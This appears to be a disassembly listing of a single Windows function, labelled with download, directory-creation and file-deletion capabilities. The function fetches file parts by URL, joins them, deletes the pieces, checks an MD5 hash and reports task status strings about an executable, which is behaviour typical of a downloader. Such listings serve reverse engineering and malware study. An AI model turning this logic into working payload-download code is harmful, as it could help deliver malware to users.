Function at 0x405dc0
Capabilities:
Create directory
Delete file
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41f568
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x8ac
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x10], esp
lea eax, [ebx + 0x14]
push ebx
lea ecx, [ebp - 0x28]
push eax
push ecx
call fcn.00417f50
lea edx, [ebp - 0x4b8]
xor esi, esi
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x4b8]
push 0x400
push edx
push esi
rep stosd dword es:[edi], eax
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x4b8]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
lea ecx, [ebp - 0x4b8]
push ecx
lea ecx, [ebp - 0x1c]
call fcn.00417e1c
push 0x4264a0
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 1
call fcn.004180fd
push ebx
lea ecx, [ebp - 0x1c]
call fcn.00418124
push 0x4264a0
lea ecx, [ebp - 0x1c]
call fcn.004180fd
mov edx, dword [ebp - 0x1c]
push esi
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [ebx + 0xc]
lea ecx, [ebp - 0x1c]
push eax
lea edx, [ebp - 0x20]
push ecx
push edx
mov byte [ebp - 4], 2
call fcn.00417f50
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 3
call fcn.0041881e
mov eax, dword [ebp - 0x20]
push esi
push 0x1001
push eax
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 4
call fcn.00418930
mov dword [ebp - 0x18], esi
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebx + 4]
cmp ecx, eax
jge 0x405fb1
mov edx, dword [0x4267bc]
mov dword [ebp - 0x30], edx
push 0
lea ecx, [ebx + 8]
mov byte [ebp - 4], 5
call fcn.0041813c
push 0
lea ecx, [ebp - 0x28]
mov esi, eax
call fcn.0041813c
push esi
mov esi, dword [ebp - 0x18]
push esi
push eax
lea eax, [ebp - 0x30]
push str._s__d._s
push eax
call fcn.004175df
mov ecx, dword [0x4267bc]
add esp, 0x14
mov dword [ebp - 0x14], ecx
push 0
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 6
call fcn.0041813c
push esi
push eax
lea edx, [ebp - 0x14]
push str._s_d.part
push edx
call fcn.004175df
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x30]
add esp, 0x10
push 0
push 0
push eax
push ecx
push 0
call sub.urlmon.dll_URLDownloadToFileA
push 0
lea ecx, [ebp - 0x30]
call fcn.0041813c
push str.downloaded_:
push 0x42c978
mov esi, eax
call fcn.004044b0
add esp, 8
push esi
push eax
call fcn.004044b0
add esp, 8
mov esi, eax
mov ecx, esi
push 0xa
call fcn.004040d0
mov edx, dword [esi]
xor edi, edi
mov eax, dword [edx + 4]
add eax, esi
test byte [eax + 4], 6
jne 0x405f82
mov eax, dword [eax + 0x28]
mov ecx, eax
mov edx, dword [eax]
call dword [edx + 0x2c]
cmp eax, 0xffffffff
jne 0x405f82
mov edi, 4
mov eax, dword [esi]
push 0
push edi
mov ecx, dword [eax + 4]
add ecx, esi
call fcn.00406420
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 5
call fcn.00417dae
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 4
call fcn.00417dae
inc dword [ebp - 0x18]
jmp 0x405ea7
lea ecx, [ebp - 0x40]
call fcn.0041881e
mov byte [ebp - 4], 7
xor ebx, ebx
mov ecx, dword [ebp + 8]
cmp ebx, dword [ecx + 4]
jge 0x40606a
mov edx, dword [0x4267bc]
mov dword [ebp - 0x18], edx
push 0
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 8
call fcn.0041813c
push ebx
push eax
lea eax, [ebp - 0x18]
push str._s_d.part
push eax
call fcn.004175df
mov ecx, dword [ebp - 0x18]
add esp, 0x10
push 0
push 0
push ecx
lea ecx, [ebp - 0x40]
call fcn.00418930
lea edx, [ebp - 0x8b8]
push 0x400
push edx
lea ecx, [ebp - 0x40]
call fcn.00418a4d
mov esi, eax
test esi, esi
je 0x406046
lea eax, [ebp - 0x8b8]
push esi
push eax
lea ecx, [ebp - 0x50]
call fcn.00418a87
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x8b8]
cmp esi, 0x400
rep stosd dword es:[edi], eax
jae 0x406005
lea ecx, [ebp - 0x40]
call fcn.00418b4b
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 7
call fcn.00417dae
inc ebx
jmp 0x405fbf
lea ecx, [ebp - 0x50]
call fcn.00418b4b
mov edx, dword [0x4267bc]
mov dword [ebp - 0x2c], edx
mov ecx, dword [ebp - 0x20]
lea eax, [ebp - 0xb8]
push eax
mov bl, 9
push 0
push ecx
mov byte [ebp - 4], bl
call fcn.004057b0
add esp, 0xc
xor esi, esi
cmp esi, 0x10
jge 0x4060db
mov edx, dword [0x4267bc]
mov dword [ebp - 0x14], edx
xor eax, eax
lea ecx, [ebp - 0x14]
mov al, byte [ebp + esi - 0x60]
mov byte [ebp - 4], 0xa
push eax
push str._2.2x
push ecx
call fcn.004175df
add esp, 0xc
lea edx, [ebp - 0x14]
lea ecx, [ebp - 0x2c]
push edx
call fcn.00418124
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], bl
call fcn.00417dae
inc esi
jmp 0x406097
mov esi, dword [ebp + 8]
mov eax, dword [esi + 0x10]
push eax
mov eax, dword [ebp - 0x2c]
push eax
call fcn.004097ad
add esp, 8
test eax, eax
jne 0x4062af
push str.FileMd5_Check_OK
push 0x42c978
call fcn.004044b0
add esp, 8
mov esi, eax
mov ecx, esi
push 0xa
call fcn.004040d0
mov ecx, dword [esi]
xor edi, edi
mov edx, dword [ecx + 4]
mov cl, byte [edx + esi + 4]
test cl, 6
lea eax, [edx + esi]
jne 0x40613a
mov eax, dword [eax + 0x28]
mov ecx, eax
mov edx, dword [eax]
call dword [edx + 0x2c]
cmp eax, 0xffffffff
jne 0x40613a
mov edi, 4
mov eax, dword [esi]
mov ecx, dword [eax + 4]
add ecx, esi
test edi, edi
je 0x406152
mov eax, dword [ecx + 4]
push 0
or eax, edi
push eax
call fcn.00406450
mov ecx, dword [ebp + 8]
mov eax, dword [ecx + 0x18]
test eax, eax
je 0x4061fd
push 0
push 4
push 0x426430
call fcn.0041d37f
cmp eax, 6
jne 0x4061be
mov edx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x24]
push edx
call fcn.00406400
mov eax, dword [0x4267bc]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp + 8]
push 0
mov byte [ebp - 4], 0xb
call fcn.0041813c
push eax
lea ecx, [ebp - 0x14]
push str.taskmd5_sretclickyesexeok
push ecx
call fcn.004175df
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x24]
add esp, 0xc
push edx
call fcn.00405b30
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x14]
jmp 0x406244
mov eax, dword [0x4267bc]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp + 8]
push 0
mov byte [ebp - 4], 0xc
call fcn.0041813c
push eax
lea ecx, [ebp - 0x14]
push str.taskmd5_sretclicknoexefail
push ecx
call fcn.004175df
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x24]
add esp, 0xc
push edx
call fcn.00405b30
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x14]
jmp 0x4062e9
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x24]
push eax
call fcn.00406400
mov ecx, dword [0x4267bc]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 8]
push 0
mov byte [ebp - 4], 0xd
call fcn.0041813c
push eax
lea edx, [ebp - 0x14]
push str.taskmd5_sretnotipexeok
push edx
call fcn.004175df
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x24]
add esp, 0xc
push eax
call fcn.00405b30
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x14]
call fcn.00417dae
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 7
call fcn.00417dae
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 4
call fcn.00418873
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 3
call fcn.00418873
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 2
call fcn.00417dae
lea ecx, [ebp - 0x1c]
mov dword [ebp - 4], 0
call fcn.00417dae
lea ecx, [ebp - 0x28]
mov dword [ebp - 4], 0xffffffff
call fcn.00417dae
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [0x4267bc]
mov dword [ebp - 0x14], ecx
push 0
mov ecx, esi
mov byte [ebp - 4], 0xe
call fcn.0041813c
push eax
lea edx, [ebp - 0x14]
push str.taskmd5_sretmd5checkfail
push edx
call fcn.004175df
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x24]
add esp, 0xc
push eax
call fcn.00405b30
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x14]
call fcn.00417dae
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 7
call fcn.00417dae
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 4
call fcn.00418873
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 3
call fcn.00418873
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 2
call fcn.00417dae
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0
call fcn.00417dae
lea ecx, [ebp - 0x28]
mov dword [ebp - 4], 0xffffffff
call fcn.00417dae
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
xor eax, eax
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 4